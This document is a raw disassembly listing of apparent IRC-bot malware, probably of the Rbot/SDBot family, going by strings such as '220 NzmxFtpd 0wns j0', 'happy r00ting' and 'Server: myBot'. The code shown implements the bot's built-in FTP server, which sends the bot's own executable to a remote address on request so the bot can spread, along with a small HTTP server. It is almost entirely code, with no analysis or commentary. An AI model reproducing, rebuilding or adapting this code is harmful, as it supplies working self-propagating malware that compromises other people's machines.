		dd 840FFFF8h, 45Bh, 0B539C933h,	0FFFFFDD8h, 958D1676h
		dd 0FFFFFDDCh
; ---------------------------------------------------------------------------

loc_405574:				; CODE XREF: sub_4053D5+1ADj
		cmp	[edx], eax
		jz	short loc_405584
		inc	ecx
		add	edx, 4
		cmp	ecx, [ebp+var_228]
		jb	short loc_405574

loc_405584:				; CODE XREF: sub_4053D5+1A1j
		cmp	ecx, [ebp+var_228]
		jnz	short loc_4055A2
		cmp	[ebp+var_228], 40h
		jnb	short loc_4055A2
		mov	[ebp+ecx*4+var_224], eax
		inc	[ebp+var_228]

loc_4055A2:				; CODE XREF: sub_4053D5+1B5j
					; sub_4053D5+1BEj
		cmp	eax, [ebp+var_4]
		jle	short loc_4055AA
		mov	[ebp+var_4], eax

loc_4055AA:				; CODE XREF: sub_4053D5+1D0j
		push	esi
		push	15h
		push	offset a220Nzmxftpd0wn ; "220 NzmxFtpd 0wns j0\n"
		push	eax
		call	ebx	; send
		jmp	loc_4059BF
; ---------------------------------------------------------------------------
		dw 8D56h
; ---------------------------------------------------------------------------
		test	[ebp+edi*8+var_4+3], esp
		jmp	fword ptr [edx+64h]
; ---------------------------------------------------------------------------
		db 50h
		dd 0C5E89057h, 85716B00h, 8B527FC0h, 0FFFDD895h, 3BC933FFh
		dd 8D3A76D6h, 0FFFDDC85h
		db 0FFh
; ---------------------------------------------------------------------------

loc_4055E1:				; CODE XREF: sub_4053D5+216j
		cmp	[eax], edi
		jz	short loc_4055EF
		inc	ecx
		add	eax, 4
		cmp	ecx, edx
		jb	short loc_4055E1
		jmp	short loc_405615
; ---------------------------------------------------------------------------

loc_4055EF:				; CODE XREF: sub_4053D5+20Ej
		dec	edx
		cmp	ecx, edx
		jnb	short loc_40560F
		lea	eax, [ebp+ecx*4+var_224]

loc_4055FB:				; CODE XREF: sub_4053D5+238j
		mov	edx, [eax+4]
		inc	ecx
		mov	[eax], edx
		mov	edx, [ebp+var_228]
		add	eax, 4
		dec	edx
		cmp	ecx, edx
		jb	short loc_4055FB

loc_40560F:				; CODE XREF: sub_4053D5+21Dj
		dec	[ebp+var_228]

loc_405615:				; CODE XREF: sub_4053D5+218j
		push	edi
		nop
		call	near ptr 71AB1A6Dh
		jmp	loc_4059BF
; ---------------------------------------------------------------------------
		lea	eax, [ebp+var_334]
		push	eax
		lea	eax, [ebp+var_AC]
		push	eax
		lea	eax, [ebp+var_29C]
		push	offset aSS_1	; "%s %s"
		push	eax
		call	sub_418A52
		lea	eax, [ebp+var_AC]
		push	offset aUser_1	; "USER"
		push	eax
		call	sub_4176D0
		add	esp, 18h
		test	eax, eax
		jnz	short loc_405665
		push	esi
		push	16h
		push	offset a331PasswordReq ; "331 Password required\n"
		jmp	loc_4059AA
; ---------------------------------------------------------------------------

loc_405665:				; CODE XREF: sub_4053D5+281j
		lea	eax, [ebp+var_AC]
		push	offset aPass	; "PASS"
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405689
		push	esi
		push	14h
		push	offset a230UserLoggedI ; "230 User logged in.\n"
		jmp	loc_4059AA
; ---------------------------------------------------------------------------

loc_405689:				; CODE XREF: sub_4053D5+2A5j
		lea	eax, [ebp+var_AC]
		push	offset aSyst	; "SYST"
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4056AD
		push	esi
		push	0Dh
		push	offset a215Nzmxftpd ; "215 NzmxFtpd\n"
		jmp	loc_4059AA
; ---------------------------------------------------------------------------

loc_4056AD:				; CODE XREF: sub_4053D5+2C9j
		lea	eax, [ebp+var_AC]
		push	offset aRest	; "REST"
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4056D1
		push	esi
		push	10h
		push	offset a350Restarting_ ; "350 Restarting.\n"
		jmp	loc_4059AA
; ---------------------------------------------------------------------------

loc_4056D1:				; CODE XREF: sub_4053D5+2EDj
		lea	eax, [ebp+var_AC]
		push	offset off_42A2D0
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4056F5
		push	esi
		push	1Eh
		push	offset a257IsCurrentDi ; "257 \"/\" is current directory.\n"
		jmp	loc_4059AA
; ---------------------------------------------------------------------------

loc_4056F5:				; CODE XREF: sub_4053D5+311j
		lea	eax, [ebp+var_AC]
		push	offset aType	; "TYPE"
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405730
		lea	eax, [ebp+var_334]
		push	offset aA	; "A"
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405730
		push	esi
		push	13h
		push	offset a200TypeSetToA_ ; "200 Type set to A.\n"
		jmp	loc_4059AA
; ---------------------------------------------------------------------------

loc_405730:				; CODE XREF: sub_4053D5+335j
					; sub_4053D5+34Cj
		lea	eax, [ebp+var_AC]
		push	offset aType	; "TYPE"
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40576B
		lea	eax, [ebp+var_334]
		push	offset aI	; "I"
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40576B
		push	esi
		push	13h
		push	offset a200TypeSetToI_ ; "200 Type set to I.\n"
		jmp	loc_4059AA
; ---------------------------------------------------------------------------

loc_40576B:				; CODE XREF: sub_4053D5+370j
					; sub_4053D5+387j
		lea	eax, [ebp+var_AC]
		push	offset aPasv	; "PASV"
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4057B9
		push	0Ah
		mov	esi, offset a425PassiveNotS ; "425 Passive not supported on this serve"...
		pop	ecx
		lea	edi, [ebp+var_124]
		rep movsd
		push	eax
		lea	eax, [ebp+var_124]
		push	eax
		movsw
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_124]

loc_4057A9:				; CODE XREF: sub_4053D5+423j
		push	eax
		push	[ebp+arg_0]
		call	ebx	; send
		xor	esi, esi

loc_4057B1:				; CODE XREF: sub_4053D5+4F6j
		mov	edi, [ebp+arg_0]
		jmp	loc_4059AD
; ---------------------------------------------------------------------------

loc_4057B9:				; CODE XREF: sub_4053D5+3ABj
		lea	eax, [ebp+var_AC]
		push	offset aList	; "LIST"
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4057FA
		push	5
		mov	esi, offset a226TransferCom ; "226 Transfer complete\n"
		pop	ecx
		lea	edi, [ebp+var_C4]
		rep movsd
		movsw
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		movsb
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_C4]
		jmp	short loc_4057A9
; ---------------------------------------------------------------------------

loc_4057FA:				; CODE XREF: sub_4053D5+3F9j
		lea	eax, [ebp+var_AC]
		push	offset aPort	; "PORT"
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4058D0
		lea	eax, [ebp+var_2D0]
		push	eax
		lea	eax, [ebp+var_F8]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_29C]
		push	offset aS	; "%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^\n]"...
		push	eax
		call	sub_418A52
		lea	eax, [ebp+var_F8]
		push	eax
		call	sub_41781F
		mov	edi, eax
		lea	eax, [ebp+var_2D0]
		push	eax
		call	sub_41781F
		mov	[ebp+var_8], eax
		push	32h
		lea	eax, [ebp+var_F8]
		push	esi
		push	eax
		call	sub_417330
		add	esp, 34h
		lea	eax, [ebp+var_F8]
		push	[ebp+var_8]
		push	edi
		push	offset aXX	; "%x%x\n"
		push	eax
		call	sub_4172B0
		push	10h
		lea	eax, [ebp+var_F8]
		push	esi
		push	eax
		call	sub_418A3B
		add	esp, 1Ch
		mov	[ebp+var_8], eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_48]
		push	offset aS_S_S_S	; "%s.%s.%s.%s"
		push	eax
		call	sub_4172B0
		add	esp, 18h
		push	esi
		push	1Dh
		push	offset a200PortCommand ; "200 PORT command successful.\n"
		push	[ebp+arg_0]
		call	ebx	; send
		jmp	loc_4057B1
; ---------------------------------------------------------------------------

loc_4058D0:				; CODE XREF: sub_4053D5+43Aj
		lea	eax, [ebp+var_AC]
		push	offset aRetr	; "RETR"
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40598B
		push	esi
		push	28h
		push	offset a150OpeningBina ; "150 Opening BINARY mode data connection"...
		push	edi
		call	ebx	; send
		push	[ebp+var_8]
		lea	eax, [ebp+var_48]
		push	eax
		call	sub_4059DB
		pop	ecx
		cmp	eax, 1
		pop	ecx
		jnz	short loc_405981
		call	sub_405A58
		cmp	eax, 1
		jnz	loc_4059AD
		push	esi
		push	17h
		push	offset a226TransferC_0 ; "226 Transfer complete.\n"
		push	edi
		call	ebx	; send
		lea	eax, [ebp+var_6D8]
		push	eax
		lea	eax, [ebp+var_48]
		push	dword_436F0C
		push	eax
		lea	eax, [ebp+var_8DC]
		push	offset unk_42A128
		push	eax
		call	sub_4172B0
		add	esp, 14h
		cmp	[ebp+var_440], esi
		jnz	short loc_405972
		push	esi
		lea	eax, [ebp+var_8DC]
		push	[ebp+var_444]
		push	eax
		lea	eax, [ebp+var_4C4]
		push	eax
		push	[ebp+var_6DC]
		call	sub_40D679
		add	esp, 14h

loc_405972:				; CODE XREF: sub_4053D5+578j
		lea	eax, [ebp+var_8DC]
		push	eax
		call	sub_40BF6D
		pop	ecx
		jmp	short loc_4059AD
; ---------------------------------------------------------------------------

loc_405981:				; CODE XREF: sub_4053D5+532j
		push	esi
		push	20h
		push	offset a425CanTOpenDat ; "425 Can't open data connection.\n"
		jmp	short loc_4059AA
; ---------------------------------------------------------------------------

loc_40598B:				; CODE XREF: sub_4053D5+510j
		lea	eax, [ebp+var_AC]
		push	offset aQuit	; "QUIT"
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4059AD
		push	esi
		push	1Bh
		push	offset a221GoodbyeHapp ; "221 Goodbye happy r00ting.\n"

loc_4059AA:				; CODE XREF: sub_4053D5+28Bj
					; sub_4053D5+2AFj ...
		push	edi
		call	ebx	; send

loc_4059AD:				; CODE XREF: sub_4053D5+3DFj
					; sub_4053D5+53Cj ...
		push	64h
		lea	eax, [ebp+var_29C]
		push	esi
		push	eax
		call	sub_417330
		add	esp, 0Ch

loc_4059BF:				; CODE XREF: sub_4053D5+1E0j
					; sub_4053D5+247j
		inc	edi
		cmp	edi, [ebp+var_4]
		mov	[ebp+arg_0], edi
		jle	loc_405503
		jmp	loc_4054C8
; ---------------------------------------------------------------------------

loc_4059D1:				; CODE XREF: sub_4053D5+11Ej
		push	1
		pop	eax

loc_4059D4:				; CODE XREF: sub_4053D5+D0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_4053D5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4059DB	proc near		; CODE XREF: sub_4053D5+528p

var_1A0		= byte ptr -1A0h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1A0h
		lea	eax, [ebp+var_1A0]
		push	eax
		push	101h
		call	near ptr 71AB41DAh
		nop
		push	0
		push	1
		push	2
		nop
		call	near ptr 71AB3C22h
		push	[ebp+arg_0]
		mov	dword_436F08, eax
		mov	[ebp+var_10], 2
		call	near ptr 71AB12F8h
		nop
		push	[ebp+arg_4]
		mov	[ebp+var_C], eax
		call	near ptr 71AB1746h
		nop
		mov	[ebp+var_E], ax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	dword_436F08
		nop
		call	near ptr 71AB3E5Dh
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_405A53
		push	dword_436F08
		nop
		call	near ptr 71AB1A6Dh
		nop
		call	near ptr 71AB1836h
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------

loc_405A53:				; CODE XREF: sub_4059DB+60j
		push	1
		pop	eax
		leave
		retn
sub_4059DB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405A58	proc near		; CODE XREF: sub_4053D5+534p

var_504		= byte ptr -504h
var_104		= byte ptr -104h

		push	ebp
		mov	ebp, esp
		sub	esp, 504h
		push	esi
		lea	eax, [ebp+var_104]
		push	104h
		push	eax
		push	0
		nop
		call	near ptr 2660000h
		lea	eax, [ebp+var_104]
		push	offset aRb	; "rb"
		push	eax
		call	sub_4179A8
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_405AEF
		test	byte ptr [esi+0Ch], 10h
		jnz	short loc_405AD3
		push	edi
		mov	edi, 400h

loc_405A9B:				; CODE XREF: sub_405A58+78j
		push	esi
		push	1
		lea	eax, [ebp+var_504]
		push	edi
		push	eax
		call	sub_418A86
		add	esp, 10h
		lea	eax, [ebp+var_504]
		push	0
		push	edi
		push	eax
		push	dword_436F08
		nop
		call	near ptr 71AB1AF4h
		push	1
		nop
		call	near ptr 2610F41h
		test	byte ptr [esi+0Ch], 10h
		jz	short loc_405A9B
		pop	edi

loc_405AD3:				; CODE XREF: sub_405A58+3Bj
		push	esi
		call	sub_417900
		pop	ecx
		push	dword_436F08
		nop
		call	near ptr 71AB1A6Dh
		nop
		call	near ptr 71AB1836h
		push	1
		pop	eax

loc_405AEF:				; CODE XREF: sub_405A58+35j
		pop	esi
		leave
		retn
sub_405A58	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405AF2	proc near		; DATA XREF: sub_407252+333o
					; sub_40EE72+54E8o

var_28F0	= byte ptr -28F0h
var_18F0	= byte ptr -18F0h
var_8F0		= byte ptr -8F0h
var_6F0		= byte ptr -6F0h
var_5EC		= dword	ptr -5ECh
var_5E8		= byte ptr -5E8h
var_360		= byte ptr -360h
var_25C		= dword	ptr -25Ch
var_254		= dword	ptr -254h
var_250		= dword	ptr -250h
var_24C		= dword	ptr -24Ch
var_248		= dword	ptr -248h
var_23C		= byte ptr -23Ch
var_138		= dword	ptr -138h
var_134		= dword	ptr -134h
var_34		= byte ptr -34h
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 28F0h
		call	sub_417B30
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0ECh
		mov	esi, eax
		lea	edi, [ebp+var_5EC]
		push	1
		rep movsd
		pop	esi
		xor	ebx, ebx
		mov	[eax+3ACh], esi
		push	10h
		lea	eax, [ebp+var_24]
		push	ebx
		push	eax
		mov	[ebp+var_14], esi
		call	sub_417330
		add	esp, 0Ch
		mov	[ebp+var_24], 2
		push	[ebp+var_25C]
		call	dword_43AD98
		push	ebx
		push	esi
		push	2
		mov	[ebp+var_22], ax
		mov	[ebp+var_20], ebx
		call	dword_43AE18
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_C], edi
		jz	loc_405EDD
		mov	eax, [ebp+var_254]
		push	10h
		imul	eax, 234h
		mov	dword_4407FC[eax], edi
		lea	eax, [ebp+var_24]
		push	eax
		push	edi
		call	dword_43ADC4
		cmp	eax, 0FFFFFFFFh
		jz	loc_405EDD
		push	7FFFFFFFh
		push	edi
		call	dword_43ADC0
		cmp	eax, 0FFFFFFFFh
		jz	loc_405EDD
		lea	eax, [ebp+var_14]
		push	eax
		push	8004667Eh
		push	edi
		call	dword_43AE34
		cmp	eax, 0FFFFFFFFh
		jz	loc_405EDD
		mov	ebx, esi
		mov	[ebp+var_134], edi
		mov	[ebp+var_138], ebx
		mov	[ebp+var_8], edi

loc_405BC9:				; CODE XREF: sub_405AF2+3E1j
		push	41h
		xor	eax, eax
		pop	ecx
		lea	esi, [ebp+var_138]
		push	eax
		push	eax
		push	eax
		lea	eax, [ebp+var_6F0]
		push	eax
		mov	eax, [ebp+var_8]
		lea	edi, [ebp+var_6F0]
		inc	eax
		rep movsd
		push	eax
		call	dword_43AD80
		cmp	eax, 0FFFFFFFFh
		jz	loc_405ED8
		xor	esi, esi
		mov	[ebp+var_4], esi

loc_405BFF:				; CODE XREF: sub_405AF2+3DBj
		lea	eax, [ebp+var_6F0]
		push	eax
		push	esi
		call	dword_43AC90
		test	eax, eax
		jz	loc_405EC3
		cmp	esi, [ebp+var_C]
		jnz	short loc_405C81
		lea	eax, [ebp+var_10]
		mov	[ebp+var_10], 10h
		push	eax
		lea	eax, [ebp+var_34]
		push	eax
		push	[ebp+var_C]
		call	dword_43AE2C
		cmp	eax, 0FFFFFFFFh
		jz	loc_405EC3
		xor	ecx, ecx
		test	ebx, ebx
		jbe	short loc_405C53
		lea	edx, [ebp+var_134]

loc_405C47:				; CODE XREF: sub_405AF2+15Fj
		cmp	[edx], eax
		jz	short loc_405C53
		inc	ecx
		add	edx, 4
		cmp	ecx, ebx
		jb	short loc_405C47

loc_405C53:				; CODE XREF: sub_405AF2+14Dj
					; sub_405AF2+157j
		cmp	ecx, ebx
		jnz	short loc_405C70
		cmp	ebx, 40h
		jnb	short loc_405C70
		mov	[ebp+ecx*4+var_134], eax
		mov	ebx, [ebp+var_138]
		inc	ebx
		mov	[ebp+var_138], ebx

loc_405C70:				; CODE XREF: sub_405AF2+163j
					; sub_405AF2+168j
		cmp	eax, [ebp+var_8]
		jbe	loc_405EC3
		mov	[ebp+var_8], eax
		jmp	loc_405EC3
; ---------------------------------------------------------------------------

loc_405C81:				; CODE XREF: sub_405AF2+126j
		mov	edi, 1000h
		lea	eax, [ebp+var_28F0]
		push	edi
		push	0
		push	eax
		call	sub_417330
		push	edi
		lea	eax, [ebp+var_18F0]
		push	0
		push	eax
		call	sub_417330
		add	esp, 18h
		lea	eax, [ebp+var_28F0]
		push	0
		push	edi
		push	eax
		push	esi
		call	dword_43ADB0
		test	eax, eax
		jg	short loc_405D14
		push	esi
		call	dword_43AE30
		xor	ecx, ecx
		test	ebx, ebx
		jbe	loc_405EC3
		lea	eax, [ebp+var_134]

loc_405CD3:				; CODE XREF: sub_405AF2+1EBj
		cmp	[eax], esi
		jz	short loc_405CE4
		inc	ecx
		add	eax, 4
		cmp	ecx, ebx
		jb	short loc_405CD3
		jmp	loc_405EC3
; ---------------------------------------------------------------------------

loc_405CE4:				; CODE XREF: sub_405AF2+1E3j
		lea	eax, [ebx-1]
		cmp	ecx, eax
		jnb	short loc_405D08
		lea	eax, [ebp+ecx*4+var_134]

loc_405CF2:				; CODE XREF: sub_405AF2+214j
		mov	edx, [eax+4]
		inc	ecx
		mov	[eax], edx
		mov	ebx, [ebp+var_138]
		add	eax, 4
		lea	edx, [ebx-1]
		cmp	ecx, edx
		jb	short loc_405CF2

loc_405D08:				; CODE XREF: sub_405AF2+1F7j
		dec	ebx
		mov	[ebp+var_138], ebx
		jmp	loc_405EC3
; ---------------------------------------------------------------------------

loc_405D14:				; CODE XREF: sub_405AF2+1C8j
		xor	esi, esi
		push	104h
		lea	eax, [ebp+var_23C]
		push	esi
		push	eax
		call	sub_417330
		lea	eax, [ebp+var_28F0]
		mov	[ebp+arg_0], esi
		push	eax
		call	sub_417AB0
		add	esp, 10h
		test	eax, eax
		jbe	loc_405EC3

loc_405D42:				; CODE XREF: sub_405AF2+309j
		mov	eax, [ebp+arg_0]
		mov	al, [ebp+eax+var_28F0]
		cmp	al, 0Ah
		mov	[ebp+esi+var_18F0], al
		jnz	loc_405DE7
		mov	esi, offset aGet ; "GET	"
		lea	eax, [ebp+var_18F0]
		push	esi
		push	eax
		call	sub_417880
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_405DBB
		lea	eax, [ebp+var_18F0]
		push	eax
		call	sub_417AB0
		cmp	eax, 5
		pop	ecx
		jbe	short loc_405DBB
		mov	eax, offset asc_42A3B4 ; " "
		push	eax
		push	eax
		lea	eax, [ebp+var_18F0]
		push	esi
		push	eax
		call	sub_417880
		pop	ecx
		pop	ecx
		push	eax
		call	sub_417880
		pop	ecx
		pop	ecx
		push	eax
		call	sub_418B6E
		push	eax
		lea	eax, [ebp+var_23C]
		push	eax
		call	sub_4179C0
		add	esp, 10h
		jmp	short loc_405DD2
; ---------------------------------------------------------------------------

loc_405DBB:				; CODE XREF: sub_405AF2+27Fj
					; sub_405AF2+291j
		lea	eax, [ebp+var_18F0]
		push	offset asc_42A3B0 ; "\r\n"
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_405E06

loc_405DD2:				; CODE XREF: sub_405AF2+2C7j
		push	edi
		lea	eax, [ebp+var_18F0]
		push	0
		push	eax
		call	sub_417330
		add	esp, 0Ch
		or	esi, 0FFFFFFFFh

loc_405DE7:				; CODE XREF: sub_405AF2+263j
		inc	[ebp+arg_0]
		lea	eax, [ebp+var_28F0]
		push	eax
		inc	esi
		call	sub_417AB0
		cmp	[ebp+arg_0], eax
		pop	ecx
		jb	loc_405D42
		jmp	loc_405EC3
; ---------------------------------------------------------------------------

loc_405E06:				; CODE XREF: sub_405AF2+2DEj
		xor	ecx, ecx
		test	ebx, ebx
		jbe	short loc_405E50
		lea	eax, [ebp+var_134]

loc_405E12:				; CODE XREF: sub_405AF2+32Dj
		mov	esi, [ebp+var_4]
		cmp	[eax], esi
		jz	short loc_405E23
		inc	ecx
		add	eax, 4
		cmp	ecx, ebx
		jb	short loc_405E12
		jmp	short loc_405E53
; ---------------------------------------------------------------------------

loc_405E23:				; CODE XREF: sub_405AF2+325j
		lea	eax, [ebx-1]
		cmp	ecx, eax
		jnb	short loc_405E47
		lea	eax, [ebp+ecx*4+var_134]

loc_405E31:				; CODE XREF: sub_405AF2+353j
		mov	edx, [eax+4]
		inc	ecx
		mov	[eax], edx
		mov	ebx, [ebp+var_138]
		add	eax, 4
		lea	edx, [ebx-1]
		cmp	ecx, edx
		jb	short loc_405E31

loc_405E47:				; CODE XREF: sub_405AF2+336j
		dec	ebx
		mov	[ebp+var_138], ebx
		jmp	short loc_405E53
; ---------------------------------------------------------------------------

loc_405E50:				; CODE XREF: sub_405AF2+318j
		mov	esi, [ebp+var_4]

loc_405E53:				; CODE XREF: sub_405AF2+32Fj
					; sub_405AF2+35Cj
		lea	eax, [ebp+var_23C]
		test	eax, eax
		jz	short loc_405EBC
		lea	eax, [ebp+var_360]
		push	eax
		call	sub_417AB0
		mov	edi, eax
		lea	eax, [ebp+var_23C]
		push	eax
		call	sub_417AB0
		add	edi, eax
		pop	ecx
		cmp	edi, 104h
		pop	ecx
		jnb	short loc_405EBC
		and	[ebp+arg_0], 0
		lea	eax, [ebp+arg_0]
		push	eax
		push	8004667Eh
		push	esi
		call	dword_43AE34
		push	[ebp+var_254]
		lea	eax, [ebp+var_23C]
		push	[ebp+var_248]
		push	eax
		lea	eax, [ebp+var_360]
		push	eax
		push	esi
		call	sub_4060D0
		add	esp, 14h
		jmp	short loc_405EC3
; ---------------------------------------------------------------------------

loc_405EBC:				; CODE XREF: sub_405AF2+369j
					; sub_405AF2+38Fj
		push	esi
		call	dword_43AE30

loc_405EC3:				; CODE XREF: sub_405AF2+11Dj
					; sub_405AF2+143j ...
		mov	esi, [ebp+var_4]
		inc	esi
		cmp	esi, [ebp+var_8]
		mov	[ebp+var_4], esi
		jbe	loc_405BFF
		jmp	loc_405BC9
; ---------------------------------------------------------------------------

loc_405ED8:				; CODE XREF: sub_405AF2+102j
		mov	edi, [ebp+var_C]
		xor	ebx, ebx

loc_405EDD:				; CODE XREF: sub_405AF2+6Aj
					; sub_405AF2+92j ...
		call	dword_43AD2C
		push	eax
		lea	eax, [ebp+var_8F0]
		push	offset unk_42A36C
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		cmp	[ebp+var_24C], ebx
		jnz	short loc_405F23
		push	ebx
		lea	eax, [ebp+var_8F0]
		push	[ebp+var_250]
		push	eax
		lea	eax, [ebp+var_5E8]
		push	eax
		push	[ebp+var_5EC]
		call	sub_40D679
		add	esp, 14h

loc_405F23:				; CODE XREF: sub_405AF2+40Cj
		lea	eax, [ebp+var_8F0]
		push	eax
		call	sub_40BF6D
		pop	ecx
		push	edi
		call	dword_43AE30
		push	[ebp+var_254]
		call	sub_417078
		pop	ecx
		push	ebx
		nop
		call	near ptr 26102D3h
		pop	edi
		pop	esi
		pop	ebx
sub_405AF2	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405F4D	proc near		; DATA XREF: sub_4060D0+24Do

var_1654	= byte ptr -1654h
var_654		= byte ptr -654h
var_550		= byte ptr -550h
var_44C		= dword	ptr -44Ch
var_3C8		= byte ptr -3C8h
var_2C4		= byte ptr -2C4h
var_B8		= dword	ptr -0B8h
var_B4		= dword	ptr -0B4h
var_A4		= dword	ptr -0A4h
var_9C		= byte ptr -9Ch
var_68		= byte ptr -68h
var_20		= byte ptr -20h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1654h
		call	sub_417B30
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 0ECh
		mov	esi, eax
		lea	edi, [ebp+var_44C]
		rep movsd
		mov	dword ptr [eax+3ACh], 1
		lea	eax, [ebp+var_3C8]
		push	eax
		lea	eax, [ebp+var_550]
		push	eax
		call	sub_4172B0
		pop	ecx
		lea	eax, [ebp+var_2C4]
		pop	ecx
		push	eax
		lea	eax, [ebp+var_654]
		push	eax
		call	sub_4172B0
		xor	edi, edi
		pop	ecx
		cmp	[ebp+var_A4], edi
		pop	ecx
		jz	short loc_405FB3
		push	offset aTextHtml ; "text/html"
		jmp	short loc_405FB8
; ---------------------------------------------------------------------------

loc_405FB3:				; CODE XREF: sub_405F4D+5Dj
		push	offset aApplicationOct ; "application/octet-stream"

loc_405FB8:				; CODE XREF: sub_405F4D+64j
		lea	eax, [ebp+var_9C]
		push	eax
		call	sub_4172B0
		pop	ecx
		lea	eax, [ebp+var_68]
		pop	ecx
		mov	esi, 409h
		push	46h
		push	eax
		push	offset aDddDdMmmYyyy ; "ddd, dd	MMM yyyy"
		push	edi
		push	edi
		push	esi
		nop
		call	near ptr 2680000h
		lea	eax, [ebp+var_20]
		push	1Eh
		push	eax
		push	offset aHhMmSs	; "HH:mm:ss"
		push	edi
		push	edi
		push	esi
		call	near ptr 2670000h
		nop
		lea	eax, [ebp+var_20]
		cmp	[ebp+var_B8], 0FFFFFFFFh
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		jnz	short loc_406031
		lea	eax, [ebp+var_9C]
		push	eax
		lea	eax, [ebp+var_1654]
		push	offset aHttp1_0200OkSe ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
		push	eax
		call	sub_4172B0
		add	esp, 24h
		jmp	short loc_406052
; ---------------------------------------------------------------------------

loc_406031:				; CODE XREF: sub_405F4D+C5j
		push	[ebp+var_B8]
		lea	eax, [ebp+var_9C]
		push	eax
		lea	eax, [ebp+var_1654]
		push	offset aHttp1_0200Ok_0 ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
		push	eax
		call	sub_4172B0
		add	esp, 28h

loc_406052:				; CODE XREF: sub_405F4D+E2j
		lea	eax, [ebp+var_1654]
		push	edi
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1654]
		push	eax
		push	[ebp+var_44C]
		call	dword_43ADE8
		cmp	[ebp+var_A4], edi
		jnz	short loc_406092
		lea	eax, [ebp+var_550]
		push	eax
		push	[ebp+var_44C]
		call	sub_406A0D
		pop	ecx
		pop	ecx
		jmp	short loc_4060AF
; ---------------------------------------------------------------------------

loc_406092:				; CODE XREF: sub_405F4D+12Dj
		lea	eax, [ebp+var_654]
		push	eax
		push	edi
		push	[ebp+var_44C]
		lea	eax, [ebp+var_550]
		push	eax
		call	sub_406387
		add	esp, 10h

loc_4060AF:				; CODE XREF: sub_405F4D+143j
		push	[ebp+var_44C]
		call	dword_43AE30
		push	[ebp+var_B4]
		call	sub_417078
		pop	ecx
		push	edi
		call	near ptr 26102D3h
		nop
		pop	edi
		pop	esi
sub_405F4D	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4060D0	proc near		; CODE XREF: sub_405AF2+3C0p

var_8C4		= byte ptr -8C4h
var_6C4		= dword	ptr -6C4h
var_640		= byte ptr -640h
var_53C		= byte ptr -53Ch
var_330		= dword	ptr -330h
var_32C		= dword	ptr -32Ch
var_31C		= dword	ptr -31Ch
var_318		= dword	ptr -318h
var_314		= byte ptr -314h
var_211		= byte ptr -211h
var_210		= byte ptr -210h
var_10C		= byte ptr -10Ch
var_10B		= byte ptr -10Bh
var_10A		= byte ptr -10Ah
var_8		= byte ptr -8
var_4		= dword	ptr -4
